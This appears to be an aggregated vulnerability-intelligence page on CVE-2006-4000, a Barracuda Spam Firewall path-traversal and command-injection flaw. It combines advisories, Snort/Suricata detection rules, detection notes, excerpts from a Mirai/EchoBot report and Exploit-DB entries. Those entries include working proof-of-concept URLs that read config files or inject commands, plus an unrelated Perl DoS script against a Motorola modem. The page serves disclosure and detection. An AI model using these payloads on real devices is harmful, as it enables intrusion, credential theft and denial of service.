CVE-2006-4000
published 2006-08-05CVE-2006-4000: Directory traversal vulnerability in cgi-bin/preview_email.cgi in Barracuda Spam Firewall (BSF) 3.3.01.001 through 3.3.03.053 allows remote authenticated users…
PriorityP266medium4CVSS 2.0
AVNACLAuSCPINAN
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
5.58%
91.9th percentile
Directory traversal vulnerability in cgi-bin/preview_email.cgi in Barracuda Spam Firewall (BSF) 3.3.01.001 through 3.3.03.053 allows remote authenticated users to read arbitrary files via a .. (dot dot) in the file parameter.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| barracuda_networks | barracuda_spam_firewall | — | — |
| barracuda_networks | barracuda_spam_firewall | — | — |
| barracuda_networks | barracuda_spam_firewall | — | — |
Detection & IOCsextracted from sources · hover to see the quote
snort
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET EXPLOIT Barracuda Spam Firewall 3.3.x RCE 2006-4000 (Outbound)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cgi-bin/preview_email.cgi?file=/mail/mlog/|7c|"; startswith; fast_pattern; content:"http"; distance:0; reference:url,unit42.paloaltonetworks.com/mirai-variant-echobot-resurfaces-with-13-previously-unexploited-vulnerabilities/; reference:cve,2006-4000; classtype:attempted-admin; sid:2029172; rev:3; metadata:affected_product Linux, attack_target IoT, created_at 2019_12_16, cve CVE_2006_4000, deployment Perimeter, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_04_13;)
snort
alert http $EXTERNAL_NET any -> any any (msg:"ET EXPLOIT Barracuda Spam Firewall 3.3.x RCE 2006-4000 (Inbound)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cgi-bin/preview_email.cgi?file=/mail/mlog/|7c|"; startswith; fast_pattern; content:"http"; distance:0; reference:url,unit42.paloaltonetworks.com/mirai-variant-echobot-resurfaces-with-13-previously-unexploited-vulnerabilities/; reference:cve,2006-4000; classtype:attempted-admin; sid:2029173; rev:3; metadata:affected_product Linux, attack_target IoT, created_at 2019_12_16, cve CVE_2006_4000, deployment Perimeter, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_04_13;)
bytes
/cgi-bin/preview_email.cgi?file=/mail/mlog/|7c|
- →Exploit traffic uses HTTP GET to /cgi-bin/preview_email.cgi with a 'file' parameter containing pipe characters (URL-encoded as %7c or literal |) to inject shell commands — match on URI pattern /cgi-bin/preview_email.cgi?file=/mail/mlog/ followed by pipe-delimited command injection.
- →Directory traversal attempts use '../' sequences in the 'file' parameter to escape /mail/mlog and reach sensitive files such as update_admin_passwd.pl or periodic_config.txt.tmp.
- →Command injection uses the Unix pipe metacharacter '|' (also encoded as %7c) surrounding commands (e.g., |uname%20-a|) in the file parameter of preview_email.cgi.
- →Attackers may attempt to read /mail/mlog/../bin/update_admin_passwd.pl to extract admin credentials from the Barracuda device.
- →Several web directories are accessible without authentication and may be probed during reconnaissance: /Translators/, /images/, /locale, /plugins, /help.
- →This vulnerability has been exploited by the Mirai variant EchoBot botnet; correlate CVE-2006-4000 exploitation attempts with known Mirai/EchoBot C2 infrastructure.
- ·The ET Snort rules (sid:2029172 / sid:2029173) use |7c| (hex for '|') as the pipe-character match in the URI; ensure your IDS/IPS hex content matching is enabled for accurate detection.
- ·The exploit requires a second 'http' string to appear after the pipe-injected command in the URI (distance:0 match on 'http'); this reflects the attacker embedding a callback URL as the injected command payload.
CVSS provenance
nvdv2.04.0MEDIUMAV:N/AC:L/Au:S/C:P/I:N/A:N
vulncheck4.0MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-c7vp-rjm4-r724: preview_email
ghsa_unreviewed·2022-05-01·CVSS 4.0
CVE-2006-4081 [MEDIUM] GHSA-c7vp-rjm4-r724: preview_email
preview_email.cgi in Barracuda Spam Firewall (BSF) 3.3.01.001 through 3.3.03.053 allows remote attackers to execute commands via shell metacharacters ("|" pipe symbol) in the file parameter. NOTE: the attack can be extended to arbitrary commands by the presence of CVE-2006-4000.
GHSA
GHSA-gmvp-38jx-w8g9: Directory traversal vulnerability in cgi-bin/preview_email
ghsa_unreviewed·2022-05-01
CVE-2006-4000 [MEDIUM] GHSA-gmvp-38jx-w8g9: Directory traversal vulnerability in cgi-bin/preview_email
Directory traversal vulnerability in cgi-bin/preview_email.cgi in Barracuda Spam Firewall (BSF) 3.3.01.001 through 3.3.03.053 allows remote authenticated users to read arbitrary files via a .. (dot dot) in the file parameter.
VulnCheck
Barracuda Networks barracuda_spam_firewall Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
vulncheck·2006·CVSS 4.0
CVE-2006-4000 [MEDIUM] Barracuda Networks barracuda_spam_firewall Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Barracuda Networks barracuda_spam_firewall Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Directory traversal vulnerability in cgi-bin/preview_email.cgi in Barracuda Spam Firewall (BSF) 3.3.01.001 through 3.3.03.053 allows remote authenticated users to read arbitrary files via a .. (dot dot) in the file parameter.
Affected: Barracuda Networks barracuda_spam_firewall
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://unit42.paloaltonetworks.com/mirai-variant-echobot-resurfaces-with-13-previously-unexploited-vulnerabilities/; https://www.f5.com/labs/articles/threat-intelligence/echobot-malware-now-up-to-71-exploits--targ
Suricata
ET EXPLOIT Barracuda Spam Firewall 3.3.x RCE 2006-4000 (Outbound)
suricata·2019-12-16
CVE-2006-4000 ET EXPLOIT Barracuda Spam Firewall 3.3.x RCE 2006-4000 (Outbound)
ET EXPLOIT Barracuda Spam Firewall 3.3.x RCE 2006-4000 (Outbound)
Rule: alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET EXPLOIT Barracuda Spam Firewall 3.3.x RCE 2006-4000 (Outbound)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cgi-bin/preview_email.cgi?file=/mail/mlog/|7c|"; startswith; fast_pattern; content:"http"; distance:0; reference:url,unit42.paloaltonetworks.com/mirai-variant-echobot-resurfaces-with-13-previously-unexploited-vulnerabilities/; reference:cve,2006-4000; classtype:attempted-admin; sid:2029172; rev:3; metadata:affected_product Linux, attack_target IoT, created_at 2019_12_16, cve CVE_2006_4000, deployment Perimeter, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_04_13;)
Suricata
ET EXPLOIT Barracuda Spam Firewall 3.3.x RCE 2006-4000 (Inbound)
suricata·2019-12-16
CVE-2006-4000 ET EXPLOIT Barracuda Spam Firewall 3.3.x RCE 2006-4000 (Inbound)
ET EXPLOIT Barracuda Spam Firewall 3.3.x RCE 2006-4000 (Inbound)
Rule: alert http $EXTERNAL_NET any -> any any (msg:"ET EXPLOIT Barracuda Spam Firewall 3.3.x RCE 2006-4000 (Inbound)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cgi-bin/preview_email.cgi?file=/mail/mlog/|7c|"; startswith; fast_pattern; content:"http"; distance:0; reference:url,unit42.paloaltonetworks.com/mirai-variant-echobot-resurfaces-with-13-previously-unexploited-vulnerabilities/; reference:cve,2006-4000; classtype:attempted-admin; sid:2029173; rev:3; metadata:affected_product Linux, attack_target IoT, created_at 2019_12_16, cve CVE_2006_4000, deployment Perimeter, confidence Medium, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_04_13;)
Exploit-DB
Motorola SB4200 - Remote Denial of Service
exploitdb·2006-10-03
CVE-2006-5196 Motorola SB4200 - Remote Denial of Service
Motorola SB4200 - Remote Denial of Service
---
source: https://www.securityfocus.com/bid/20309/info
Motorola SB4200 is prone to a remote denial-of-service vulnerability.
This may permit an attacker to crash affected devices, denying further network services to legitimate users.
#!/usr/bin/perl -w
###################################################
# Remote Motorola SB4200 DoS attack. #
# By Dave Gil. #
# Infosec Labs #
###################################################
use strict;
use HTTP::Request::Common qw (POST GET);
use LWP::UserAgent;
my $ua = LWP::UserAgent->new();
my $url = "http://192.168.100.1/";
my $req = $ua->post( $url, [MfcISAPICommand => 'SecretProc', Secret => 'A' x int rand(4000)]);
print "The DoS has been sent.";
exit();
Exploit-DB
Barracuda Spam Firewall 3.3.x - 'preview_email.cgi?file' Arbitrary File Access
exploitdb·2006-08-01
CVE-2006-4000 Barracuda Spam Firewall 3.3.x - 'preview_email.cgi?file' Arbitrary File Access
Barracuda Spam Firewall 3.3.x - 'preview_email.cgi?file' Arbitrary File Access
---
source: https://www.securityfocus.com/bid/19276/info
Spam Firewall is prone to multiple vulnerabilities, including a directory-traversal issue, access-validation issue, and a remote command-execution issue.
A remote attacker can exploit these issues to gain access to potentially sensitive information and execute commands in the context of the affected application.
Versions 3.3.01.001 to 3.3.03.055 are vulnerable to these issues.
####################################################################
Proof of Concept:
https:///cgi-bin/preview_email.cgi?file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp
https:///cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20/|
##############################
Unit42
Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
blogs_unit42·2019-12-13
Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
Threat Research Center
Threat Research
Malware
## Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
Ruchna Nigam
Published: December 13, 2019
Malware
Threat Research
Vulnerabilities
Echobot
IoT
IoT Vulnerability
Mirai
Mirai variant
## Executive Summary
Since the discovery of the Mirai variant using the binary name ECHOBOT in May 2019, it has resurfaced from time to time, using new infrastructure, and more remarkably, adding to the list of vulnerabilities it scans for, as a means to increase its attack surface with each evolution.
Unlike other Mirai variants, this particular variant stands out for the sheer number of exploits it incorporates, with the latest version having a total of 71 unique exploits, 13 of which haven’t been seen exploite
Unit42
Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
blogs_unit42·2019-12-13
Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
## Executive Summary
Since the discovery of the Mirai variant using the binary name ECHOBOT in May 2019, it has resurfaced from time to time, using new infrastructure, and more remarkably, adding to the list of vulnerabilities it scans for, as a means to increase its attack surface with each evolution.
Unlike other Mirai variants, this particular variant stands out for the sheer number of exploits it incorporates, with the latest version having a total of 71 unique exploits, 13 of which haven’t been seen exploited in the wild until now, ranging from extremely old CVEs from as long back as 2003, to recent vulnerabilities made public as recently as early December 2019. Based on this seemingly odd choice, one could risk a guess that the attackers could potentially be aiming for the sweet sp
http://secunia.com/advisories/21258http://www.securityfocus.com/archive/1/441861/100/0/threadedhttp://www.securityfocus.com/bid/19276http://www.vupen.com/english/advisories/2006/3104https://exchange.xforce.ibmcloud.com/vulnerabilities/28214http://secunia.com/advisories/21258http://www.securityfocus.com/archive/1/441861/100/0/threadedhttp://www.securityfocus.com/bid/19276http://www.vupen.com/english/advisories/2006/3104https://exchange.xforce.ibmcloud.com/vulnerabilities/28214
2006-08-05
Published
Exploited in the wild